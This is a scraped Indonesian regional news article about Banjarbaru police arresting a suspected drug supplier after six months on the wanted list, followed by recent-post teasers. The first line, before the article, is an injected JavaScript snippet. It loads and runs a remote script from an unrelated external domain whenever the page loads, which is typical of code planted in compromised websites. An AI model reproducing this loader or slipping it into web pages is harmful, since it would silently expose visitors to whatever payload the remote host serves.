(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Diburu 6 Bulan Karena Jaringan Narkoba, Dayat Akhirnya Dibekuk Polisi


BANJARBARU, Pada awal tahun 2019, Sat Narkoba Polres Banjarbaru mengungkap sindikat jaringan Narkoba di kota Banjarbaru. Berawal dari Muzakki alias Amang yang ditangkap di Kecamatan Landasan Ulin, Kota Banjarbaru, dengan kepemilikkan Narkoba jenis inek dan sabu-sabu 29 gram, Sat Narkoba Polres Banjarbaru terus melakukan pengembangan terhadap jaringan tersebut.

“Pengembangan dari tersangka Muzakki mengarah ke daerah Banjarmasin, dimana kami berhasil mengamankan sindikat pengedar Narkoba sebanyak 3 orang diantaranya Ahmad Supiani, Amat Dapak dan Darmawi alias Acan. Dari sindikat tersebut sedikitnya 1 ons lebih atau 116 gram sabu dan 17 inek warna hijau berhasil kami sita dan mereka sudah menjalani proses hukum di Lapas Banjarbaru,” terang Kasat Narkoba AKP Elche.

“Barang haram tersebut mereka dapat dari Dayat alias Mustafa, namun saat digrebek di rumah yang ada di jalan Kelayan A Gang Taruna Kota Banjarmasin, tersangka tidak ada di rumah,” tambah AKP Elche.

Setelah masuk dalam Daftar Pencarian Orang (DPO) selama 6 bulan akhirnya tersangka atas nama Dayat alias Mustafa (45) berhasil ditangkap oleh Satuan Resnarkoba Polres Banjarbaru pada Minggu (7/7) di rumah yang beralamat di Jalan Bumi Mas Raya, Kota Banjarmasin.

“Saat ini 4 orang sindikat pelaku lainnya sudah divonis dan menjalani hukuman di Lapas Banjarbaru sementara tersangka Dayat alias Mustafa ini kami sangkakan dengan Pasal 132 ayat (1) sub Pasal 114 ayat (2) sub Pasal 112 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika dan Pasal 84 ayat (2) KUHAP dengan ancaman pidana kurungan paling lama 20 tahun,” ujar Kapolres Banjarbaru AKBP Kelana Jaya. (rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

10 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.